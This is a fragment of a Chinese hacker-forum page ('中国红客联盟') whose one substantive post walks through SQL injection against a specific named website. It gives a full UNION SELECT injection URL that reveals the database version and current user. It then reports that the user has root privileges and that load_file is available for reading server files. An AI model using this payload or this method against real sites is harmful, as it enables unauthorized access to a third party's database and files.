使用道具 举报
本版积分规则 发表回复 回帖并转播 回帖后跳转到最后一页
中级红客
2010-6-27
2010-6-26
2010-6-20
2010-6-14
2010-6-13
中国红客联盟公众号
联系站长QQ:5520533
使用道具 举报
通过联合查询是这样的,先判断字段长段
http://www.donghua-ml.com/news_see.php?thisid=42 and 1=2 union select 1,version(),3,4,5,user()
暴出数据库类型和当前用户
权限很大root。
可以loadfile......
使用道具 举报